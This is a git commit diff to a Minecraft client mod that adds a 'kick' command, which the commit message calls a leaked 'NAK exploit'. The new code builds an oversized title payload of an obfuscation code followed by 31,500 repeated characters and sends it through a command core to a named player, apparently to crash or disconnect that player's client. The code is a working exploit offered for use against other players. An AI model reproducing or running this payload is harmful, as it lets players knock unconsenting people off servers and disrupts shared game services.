Add kick command
I am leaking the NAK exploit yet again...
This commit is contained in:
parent
9d9ccafd6c
commit
a1e0970a4b
2 changed files with 44 additions and 0 deletions
|
@ -41,6 +41,7 @@ public class CommandManager {
|
|||
// LoopCrouchCommand.register(this.dispatcher); // ^???????????????????
|
||||
DebugCommand.register(this.dispatcher);
|
||||
ClearAntiChatSpamQueueCommand.register(this.dispatcher);
|
||||
KickCommand.register(this.dispatcher);
|
||||
}
|
||||
|
||||
public void executeCommand (String command) {
|
||||
|
|
|
@ -0,0 +1,43 @@
|
|||
package land.chipmunk.chipmunkmod.commands;
|
||||
|
||||
import com.mojang.brigadier.Command;
|
||||
import com.mojang.brigadier.CommandDispatcher;
|
||||
import com.mojang.brigadier.context.CommandContext;
|
||||
|
||||
import static land.chipmunk.chipmunkmod.command.CommandManager.literal;
|
||||
import static land.chipmunk.chipmunkmod.command.CommandManager.argument;
|
||||
import static com.mojang.brigadier.arguments.StringArgumentType.greedyString;
|
||||
import static com.mojang.brigadier.arguments.StringArgumentType.getString;
|
||||
import net.fabricmc.fabric.api.client.command.v2.FabricClientCommandSource;
|
||||
import land.chipmunk.chipmunkmod.modules.CommandCore;
|
||||
|
||||
public class KickCommand {
|
||||
public static void register (CommandDispatcher<FabricClientCommandSource> dispatcher) {
|
||||
dispatcher.register(
|
||||
literal("kick")
|
||||
.then(
|
||||
argument("player", greedyString())
|
||||
.executes(c -> run(c))
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
public static int run (CommandContext<FabricClientCommandSource> context) {
|
||||
|
||||
final String payloadStart = "uwu\u00a7k";
|
||||
|
||||
final String payloadEnd = "uwu";
|
||||
|
||||
final StringBuffer payload = new StringBuffer();
|
||||
payload.append(payloadStart);
|
||||
|
||||
for(int i = 0; i < 31500; i++) {
|
||||
payload.append("猫");
|
||||
}
|
||||
|
||||
payload.append(payloadEnd);
|
||||
CommandCore.INSTANCE.run("/title " + getString(context, "player") + " title \"" + payload.toString() + "\"");
|
||||
|
||||
return Command.SINGLE_SUCCESS;
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue